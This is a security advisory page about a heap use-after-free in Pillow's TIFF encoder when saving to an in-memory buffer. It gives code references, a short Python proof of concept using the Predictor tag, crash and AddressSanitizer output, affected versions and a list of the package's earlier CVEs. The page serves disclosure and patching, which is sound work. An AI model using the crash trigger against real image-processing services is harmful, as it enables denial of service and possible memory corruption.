Medium

Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer

  • Disclosed: 21.10.2026
  • Updated: 22.10.2026 18:07

Summary

Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.

Details

The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):

  • src/libImaging/TiffDecode.c:1041-1046

Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:

  • src/encode.c:99-101
  • src/libImaging/TiffDecode.c:955

TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:

  • src/libImaging/TiffDecode.c:103-115

The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.

PoC

python
import io
from PIL import Image

# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3})  # 317 = Predictor

Run it:

bash
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)

Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.

Under AddressSanitizer (build with -fsanitize=address), relevant frames:

==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
    #1 _tiffWriteProc                 src/libImaging/TiffDecode.c:115
    #3 TIFFFlush                      libtiff.so.6
    #5 TIFFClose                      libtiff.so.6
    #6 ImagingLibTiffEncodeCleanup    src/libImaging/TiffDecode.c:955
    #7 _dealloc                       src/encode.c:100
freed by thread T0 here:
    #1 ImagingLibTiffEncode           src/libImaging/TiffDecode.c:1045
    #2 _encode                        src/encode.c:139
previously allocated by thread T0 here:
    #1 ImagingLibTiffEncodeInit       src/libImaging/TiffDecode.c:863
    #2 PyImaging_LibTiffEncoderNew    src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc

The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.

Impact

Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) pillow >= 11.3.0, < 13.0.0 13.0.0

References

CVSS score 5.9/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-416
Platform
Python (PyPI)
Package
pillow
Disclosed
21.10.2026
Updated
22.10.2026 18:07

Sources and licenses

OSV / GitHub Advisory Database - GHSA-4rr5-89j8-mwwm - CC BY 4.0

Vulnerability history: pillow

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (98) in the archive
Total entries
98
First → latest
04.2014 10.2026
Without a fix
0
Exploited in attacks
1

Severity breakdown

  • Critical 12
  • High 57
  • Medium 27
  • Low 1
  • Unrated 1

Disclosures per year

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 40

earlier: 12

Severity:
  1. Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer this entry
    Medium · 5.9 CVE-2026-112396 >= 11.3.0, < 13.0.0 13.0.0
  2. High CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  3. High CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  4. High CVE-2026-112893 >= 10.0.0, < 13.0.0 13.0.0
  5. Critical CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  6. Critical CVE-2026-112403 < 13.0.0 13.0.0
  7. High · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  8. High CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  9. High · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  10. High CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  11. High · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  12. High · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  13. Critical · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  14. High · 8.8 Exploited in attacks CVE-2023-4863 < 10.0.1 10.0.1
  15. High · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  16. High · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  17. High · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  18. Critical · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  19. High · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  20. Critical · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  21. High · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  22. High · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  23. High · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  24. High · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  25. High · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
Show more (20) Showing 40 of 70

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.